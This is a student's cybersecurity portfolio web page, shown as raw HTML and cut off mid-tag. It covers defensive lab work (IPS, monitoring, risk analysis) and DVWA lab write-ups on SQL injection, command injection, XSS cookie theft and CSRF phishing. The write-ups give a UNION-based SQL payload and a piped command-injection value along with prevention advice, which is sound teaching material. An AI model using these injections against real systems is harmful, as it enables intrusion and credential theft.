alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" 